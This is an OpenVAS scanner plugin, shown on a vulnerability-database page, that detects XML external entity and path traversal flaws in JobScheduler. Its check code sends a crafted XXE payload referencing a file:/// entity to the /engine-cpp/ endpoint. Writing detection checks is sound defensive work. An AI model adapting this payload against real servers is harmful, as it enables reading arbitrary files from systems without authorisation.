Lucene search

K
openvasCopyright (C) 2014 Greenbone AGOPENVAS:1361412562310804773
HistoryOct 09, 2014 - 12:00 a.m.

JobScheduler Multiple Vulnerabilities (Oct 2014)

2014-10-0900:00:00
Copyright (C) 2014 Greenbone AG
plugins.openvas.org
8

6.5 Medium

AI Score

Confidence

Low

5.8 Medium

CVSS2

Access Vector

NETWORK

Access Complexity

MEDIUM

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

NONE

Availability Impact

PARTIAL

AV:N/AC:M/Au:N/C:P/I:N/A:P

0.005 Low

EPSS

Percentile

75.7%

JobScheduler is prone to multiple vulnerabilities.

# SPDX-FileCopyrightText: 2014 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

if(description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.804773");
  script_version("2024-02-19T05:05:57+0000");
  script_cve_id("CVE-2014-5391", "CVE-2014-5392", "CVE-2014-5393");
  script_tag(name:"cvss_base", value:"5.8");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:M/Au:N/C:P/I:N/A:P");
  script_tag(name:"last_modification", value:"2024-02-19 05:05:57 +0000 (Mon, 19 Feb 2024)");
  script_tag(name:"creation_date", value:"2014-10-09 10:33:16 +0530 (Thu, 09 Oct 2014)");

  script_name("JobScheduler Multiple Vulnerabilities (Oct 2014)");

  script_tag(name:"summary", value:"JobScheduler is prone to multiple vulnerabilities.");

  script_tag(name:"vuldetect", value:"Send a crafted request via HTTP POST and
  check whether it is able to read arbitrary file or not.");

  script_tag(name:"insight", value:"Multiple flaws are due to:

  - An incorrectly configured XML parser accepting XML external entities from
    an untrusted source.

  - Improper validation of input before returning it to users, specifically
    path traversal style attacks (e.g. '../').");

  script_tag(name:"impact", value:"Successful exploitation will allow remote
  attacker to gain access to arbitrary files, execute arbitrary HTML and
  script code or cause a denial of service.");

  script_tag(name:"affected", value:"JobScheduler version before 1.6.4246 and
  7.x before 1.7.4241.");

  script_tag(name:"solution", value:"Upgrade to version 1.6.4246 or 1.7.4241 or later.");

  script_xref(name:"URL", value:"http://www.sos-berlin.com/modules/news/article.php?storyid=73");
  script_xref(name:"URL", value:"http://www.securityfocus.com/bid/69660");
  script_xref(name:"URL", value:"http://www.securityfocus.com/bid/69661");
  script_xref(name:"URL", value:"http://www.securityfocus.com/bid/69664");
  script_xref(name:"URL", value:"http://www.sos-berlin.com/modules/news/article.php?storyid=74");
  script_xref(name:"URL", value:"http://www.christian-schneider.net/advisories/CVE-2014-5392.txt");

  script_category(ACT_ATTACK);
  script_copyright("Copyright (C) 2014 Greenbone AG");
  script_family("Web application abuses");
  script_dependencies("find_service.nasl", "no404.nasl", "webmirror.nasl", "DDI_Directory_Scanner.nasl", "global_settings.nasl");
  script_require_ports("Services/www", 40444);
  script_exclude_keys("Settings/disable_cgi_scanning");

  script_tag(name:"solution_type", value:"VendorFix");
  script_tag(name:"qod_type", value:"remote_app");

  script_xref(name:"URL", value:"http://www.sos-berlin.com/modules/cjaycontent/index.php?id=osource_scheduler_introduction_en.htm");
  exit(0);
}

include("http_func.inc");
include("http_keepalive.inc");
include("port_service_func.inc");
include("list_array_func.inc");
include("misc_func.inc");

http_port = http_get_port(default:40444);

host = http_host_name(port:http_port);

foreach dir (make_list_unique("/", "/jobscheduler", "/job-scheduler", "/scheduler", http_cgi_dirs(port:http_port)))
{

  if(dir == "/") dir = "";

  sndReq = http_get(item: string(dir, "/operations_gui/"),  port:http_port);
  rcvRes = http_keepalive_send_recv(port:http_port, data:sndReq);

  if(">JobScheduler<" >< rcvRes)
  {
    entity =  rand_str(length:8,charset:"abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ");

    url = dir + '/engine-cpp/';

    postData = '<!DOCTYPE foo [<!ELEMENT foo ANY ><!ENTITY xxe SYSTEM "file:///' + entity +
               '" >]><commands><show_state subsystems="job folder" what="folders no_subfolders' +
               ' " path="/sos/update" max_task_history="0"/>&xxe;</commands>';

    sndReq = string("POST ", url, " HTTP/1.1\r\n",
                    "Host: ", host, "\r\n",
                    "X-Requested-With: XMLHttpRequest\r\n",
                    "Content-Length: ", strlen(postData), "\r\n",
                    "\r\n", postData);

    rcvRes = http_keepalive_send_recv(port:http_port, data:sndReq, bodyonly:TRUE);

    if("The system cannot find the file specified" >< rcvRes &&
       "DOCTYPE is disallowed" >!< rcvRes)
    {
      security_message(port:http_port);
      exit(0);
    }
  }
}

exit(99);

6.5 Medium

AI Score

Confidence

Low

5.8 Medium

CVSS2

Access Vector

NETWORK

Access Complexity

MEDIUM

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

NONE

Availability Impact

PARTIAL

AV:N/AC:M/Au:N/C:P/I:N/A:P

0.005 Low

EPSS

Percentile

75.7%

Related for OPENVAS:1361412562310804773